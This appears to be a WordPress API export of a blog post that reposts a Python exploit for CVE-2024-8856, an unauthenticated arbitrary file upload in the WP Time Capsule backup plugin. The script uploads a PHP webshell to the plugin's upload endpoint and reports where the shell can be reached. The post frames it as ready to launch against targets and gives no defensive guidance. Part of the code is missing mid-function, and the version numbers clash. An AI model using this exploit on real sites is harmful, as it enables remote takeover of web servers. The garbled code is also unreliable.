{"id":62584,"date":"2025-04-08T23:48:57","date_gmt":"2025-04-08T20:18:57","guid":{"rendered":"https:\/\/afaghhosting.net\/blog\/backup-and-staging-by-wp-time-capsule-1-22-21-unauthenticated-arbitrary-file-upload\/"},"modified":"2025-04-08T23:48:57","modified_gmt":"2025-04-08T20:18:57","slug":"backup-and-staging-by-wp-time-capsule-1-22-21-unauthenticated-arbitrary-file-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/backup-and-staging-by-wp-time-capsule-1-22-21-unauthenticated-arbitrary-file-upload\/","title":{"rendered":"Backup and Staging by WP Time Capsule 1.22.21 &#8211; Unauthenticated Arbitrary File Upload"},"content":{"rendered":"<p><\/p>\n<div>\n<pre><code class=\"language-py\" style=\"white-space: pre-wrap;\"># Exploit Title: WordPress Backup and Staging Plugin \u2264 1.21.16 - Arbitrary File Upload to RCE&#13;\n# Original Author: Patchstack (hypothetical)&#13;\n# Exploit Author: Al Baradi Joy&#13;\n# Exploit Date: April 5, 2025&#13;\n# Vendor Homepage: https:\/\/wp-timecapsule.com\/&#13;\n# Software Link: https:\/\/wordpress.org\/plugins\/wp-time-capsule\/&#13;\n# Version: Up to and including 1.21.16&#13;\n# Tested Versions: 1.21.16&#13;\n# CVE ID: CVE-2024-8856&#13;\n# Vulnerability Type: Arbitrary File Upload \/ Remote Code Execution&#13;\n# Description:&#13;\n# The WordPress plugin \"Backup and Staging by WP Time Capsule\" up to version 1.21.16&#13;\n# allows unauthenticated attackers to upload arbitrary files via the upload.php endpoint.&#13;\n# This can lead to remote code execution if a PHP file is uploaded and executed directly&#13;\n# from the wp-content\/plugins\/wp-time-capsule\/wp-tcapsule-bridge\/ directory.&#13;\n# Proof of Concept: Yes&#13;\n# Categories: WordPress Plugin, File Upload, RCE&#13;\n# CVSS Score: 9.9 (Critical)&#13;\n# CVSS Vector: CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#13;\n# Notes:&#13;\n# Successful exploitation provides shell access as the user running the web server.&#13;\n# Ensure target is using the vulnerable plugin version before launching the attack.&#13;\n&#13;\nimport requests&#13;\n&#13;\n# Banner&#13;\ndef display_banner():&#13;\nprint(\"=\"*80)&#13;\nprint(\"Exploit Title: CVE-2024-8856 - WordPress Backup and Staging&#13;\nPlugin Arbitrary File Upload\")&#13;\nprint(\"Made By Al Baradi Joy\")&#13;\nprint(\"=\"*80)&#13;\n&#13;\n# Function to detect if the target supports HTTPS or falls back to HTTP&#13;\ndef detect_protocol(domain):&#13;\nhttps_url = f\"https:\/\/{domain}\"&#13;\nhttp_url = f\"http:\/\/{domain}\"&#13;\n&#13;\ntry:&#13;\nresponse = requests.get(https_url, timeout=5, allow_redirects=True)&#13;\nif response.status_code ',&#13;\n'application\/x-php')&#13;\n}&#13;\n&#13;\ntry:&#13;\nprint(f\"[+] Attempting to upload shell to: {upload_url}\")&#13;\nresponse = requests.post(upload_url, files=files, timeout=10)&#13;\n&#13;\nif response.status_code == 200:&#13;\nprint(f\"[\u2714] Exploit successful! Webshell available at:&#13;\n{shell_url}\")&#13;\nelse:&#13;\nprint(f\"[\u2716] Failed to upload shell. Status code:&#13;\n{response.status_code}\")&#13;\n&#13;\nexcept requests.exceptions.ConnectionError:&#13;\nprint(\"[\u2716] Connection failed. Target may be down.\")&#13;\nexcept requests.exceptions.Timeout:&#13;\nprint(\"[\u2716] Request timed out. Target is slow or unresponsive.\")&#13;\nexcept requests.exceptions.RequestException as e:&#13;\nprint(f\"[\u2716] Unexpected error: {e}\")&#13;\n&#13;\n# Main execution&#13;\nif __name__ == \"__main__\":&#13;\ndisplay_banner()&#13;\ntarget = input(\"[?] Enter the target URL (without http\/https):&#13;\n\").strip()&#13;\nexploit(target)\n            <\/code><\/pre>\n<\/p><\/div>\n<p><a href=\"https:\/\/afaghhosting.net]\">\u0622\u0641\u0627\u0642 \u0647\u0627\u0633\u062a\u06cc\u0646\u06af \u0645\u062f\u06cc\u0631\u06cc\u062a \u0633\u0631\u0648\u0631 \u0645\u0634\u0627\u0648\u0631 \u0648 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646 \u0641\u0646\u06cc <\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: WordPress Backup and Staging Plugin \u2264 1.21.16 &#8211; Arbitrary File Upload to RCE&#13; # Original Author: Patchstack (hypothetical)&#13; # Exploit Author: Al Baradi Joy&#13; # Exploit Date: April 5, 2025&#13; # Vendor Homepage: https:\/\/wp-timecapsule.com\/&#13; # Software Link: https:\/\/wordpress.org\/plugins\/wp-time-capsule\/&#13; # Version: Up to and including 1.21.16&#13; # Tested Versions: 1.21.16&#13; # CVE ID: &hellip;<\/p>\n","protected":false},"author":1,"featured_media":62562,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-62584","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/62584","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=62584"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/62584\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media\/62562"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=62584"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=62584"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=62584"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}